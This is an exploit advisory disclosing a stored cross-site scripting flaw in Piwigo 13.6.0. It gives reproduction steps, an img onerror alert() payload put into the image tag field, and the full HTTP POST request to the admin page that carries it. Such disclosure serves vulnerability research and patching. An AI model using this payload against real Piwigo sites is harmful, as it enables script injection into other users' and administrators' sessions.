Exploit Title: Piwigo 13.6.0 - Stored Cross-Site Scripting (XSS)
Application: Piwigo
Version: 13.6.0
Bugs:  Stored XSS
Technology: PHP
Vendor URL: https://piwigo.org/
Software Link: https://piwigo.org/get-piwigo
Date of found: 18.04.2023
Author: Mirabbas Ağalarov
Tested on: Linux


2. Technical Details & POC
========================================
steps:

1.After uploading the image, we write <img%20src=x%20onerror=alert(4)> instead of the tag(keyword) while editing the image)
payload: <img%20src=x%20onerror=alert(4)>


POST /piwigo/admin.php?page=photo-9 HTTP/1.1
Host: localhost
Content-Length: 159
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/piwigo/admin.php?page=photo-9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: pwg_id=u7tjlue5o3vj7fbgb0ikodmb9m; phavsz=1394x860x1; pwg_display_thumbnail=display_thumbnail_classic; pwg_tags_per_page=100; phpbb3_ay432_k=; phpbb3_ay432_u=2; phpbb3_ay432_sid=9240ca5fb9f93c8ebc8ff7bd42c380fe
Connection: close

name=Untitled&author=&date_creation=&associate%5B%5D=1&tags%5B%5D=<img%20src=x%20onerror=alert(3)>&description=&level=0&pwg_token=bad904d2c7ec866bfba391bfc130ddd2&submit=Save+settings